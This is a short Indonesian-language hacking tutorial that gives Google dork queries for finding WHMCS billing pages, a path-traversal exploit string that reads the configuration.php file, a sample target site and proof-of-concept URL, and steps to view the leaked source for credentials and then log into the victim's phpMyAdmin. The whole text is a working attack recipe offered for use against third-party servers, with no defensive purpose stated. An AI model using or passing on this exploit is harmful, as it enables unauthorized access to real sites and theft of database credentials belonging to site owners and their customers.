Lakukan pencarian menggunakan Google Dork berikut :

inurl:whmcs/cart.php?a=
inurl:billing/cart.php?a=

#dapat disesuaikan dengan selera untuk mendapatkan target.

Exploit :

/cart.php?a=test&templatefile=../../../configuration.php


Sample Target : http//socialfansfinder.com/whmcs/cart.php?
*hapus semua link sesudah whmcs/ dan pastekan exploitnya disitw.

Sample POC : http//socialfansfinder.com/whmcs/cart.php?a=test&templatefile=../../../configuration.php

Kemudian Liat Source kodenya menggunakan CTRL+U.
Terakhir Silahkan Login ke phpmyadmin situs tersebut http://domain.com/phpmyadmin .

ARTIKEL BERKAITAN